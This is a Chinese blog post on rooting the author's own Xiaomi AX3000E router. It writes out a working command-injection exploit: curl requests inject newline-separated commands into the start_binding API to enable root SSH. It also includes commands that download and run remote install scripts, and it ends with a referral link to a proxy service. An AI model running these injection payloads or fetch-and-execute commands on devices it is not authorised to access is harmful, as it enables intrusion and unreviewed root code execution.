记一次xiaomi路由器的改造
事情的起因是在打扫大四老登的遗留物的时候淘了一个xiaomi的路由器,型号是xiaomi ax3000e,虽然不是什么新版本的,但是放在宿舍也够用了,如果只是拿他来连wifi就太浪费了,于是上网找有没有什么root的办法
⚠️ 警告:以下操作涉及路由器系统底层修改,存在变砖风险。请自行承担所有操作后果,作者不对任何设备损坏或数据丢失负责。建议在操作前备份重要数据,并确保有恢复手段(如官方救砖工具)。
解锁ssh
首先路由器开机并连接他的网络,xiaomi路由器的后台通常是
192.168.31.1
登录后台获取登录凭证(stok)
登录路由器管理后台http://192.168.31.1 ,登录成功后,观察浏览器地址栏,会看到类似这样的URL:
http://192.168.31.1/cgi-bin/luci/web?stok=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&...
其中 stok 后面跟着的那一串32位字符就是你的STOK。注意:STOK在每次登录时都会重新生成,复制后请尽快使用。
执行rce
然后电脑开启管理员权限的cmd
curl -X POST http://192.168.31.1/cgi-bin/luci/;stok=xxx/api/xqsystem/start_binding -d "uid=1234&key=1234'%0Anvram%20set%20ssh_en%3D1'"curl -X POST http://192.168.31.1/cgi-bin/luci/;stok=xxx/api/xqsystem/start_binding -d "uid=1234&key=1234'%0Anvram%20commit'"curl -X POST http://192.168.31.1/cgi-bin/luci/;stok=xxx/api/xqsystem/start_binding -d "uid=1234&key=1234'%0Ased%20-i%20's%2Fchannel%3D.*%2Fchannel%3D%22debug%22%2Fg'%20%2Fetc%2Finit.d%2Fdropbear'"curl -X POST http://192.168.31.1/cgi-bin/luci/;stok=xxx/api/xqsystem/start_binding -d "uid=1234&key=1234'%0A%2Fetc%2Finit.d%2Fdropbear%20start'"注意上面的命令需要将stok改为你机子对应的stok,进入后台后就能看到
这里用的是小米路由器经典的rce漏洞(CVE-2019-18370),通过start_binding接口的key参数注入换行符
原理是通过%0A也就是回车将key命令和之后的命令截断,实现命令的执行
上面这四条命令为
nvram set ssh_en=1 #开启sshnvram commit #保存配置sed -i 's/channel=.*/channel="debug"/g' /etc/init.d/dropbear #修改dropbear启动脚本,绕过某些限制/etc/init.d/dropbear start #手动执行启动脚本,启动SSH服务这样就通过rce漏洞开启了一个root权限的ssh
账号是root,密码通过网站计算ssh密码计算网站
在网址中输入你的SN就能给出ssh的默认密码,SN通常会在路由器底部,也可以在后台管理网址看到
之后用你的小工具登录ssh即可(我是用termius来管理ssh)
固定ssh
接下来就是永久固定ssh,将配置写进底层存储(NVRAM),这样你断电或重启之后配置也不会消失
nvram set ssh_en=1nvram set telnet_en=1nvram set uart_en=1nvram set boot_wait=onnvram commit用脚本永久开启ssh
mkdir /data/auto_ssh && cd /data/auto_sshcurl -O https://fastly.jsdelivr.net/gh/lemoeo/AX6S@main/auto_ssh.shchmod +x auto_ssh.sh
uci set firewall.auto_ssh=includeuci set firewall.auto_ssh.type='script'uci set firewall.auto_ssh.path='/data/auto_ssh/auto_ssh.sh'uci set firewall.auto_ssh.enabled='1'uci commit firewall关于NVRAM
NVRAM(Non-Volatile Random Access Memory,非易失性随机存取存储器)是一种断电后数据不会丢失的存储芯片。在路由器中,NVRAM用于存储系统配置参数,类似于电脑的CMOS。通过 nvram 命令可以读写这些参数:
nvram set key=value:设置参数nvram commit:将当前所有修改写入永久存储nvram get key:读取参数
科学上网
ShellCrash是一个在shell端上运行的代理工具,支持Clash内核。
shellcrash安装
export url='https://fastly.jsdelivr.net/gh/juewuy/ShellCrash@master' && sh -c "$(curl -kfsSl $url/install.sh)" && source /etc/profile &> /dev/null备用安装源
export url='https://gh.jwsc.eu.org/master' && sh -c "$(curl -kfsSl $url/install.sh)" && source /etc/profile &> /dev/null安装之后会开启配置脚本,只需要按照脚本的引导配置机场,和使用clash没什么区别,所以具体的配置过程略
管理面板(代理)192.168.31.1:9999 | 代理当然也可以自己本地下载面板,这样安全一些
机场推荐
https://1s.bigmeok.me/user#/register?code=fg1frgCN
如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时









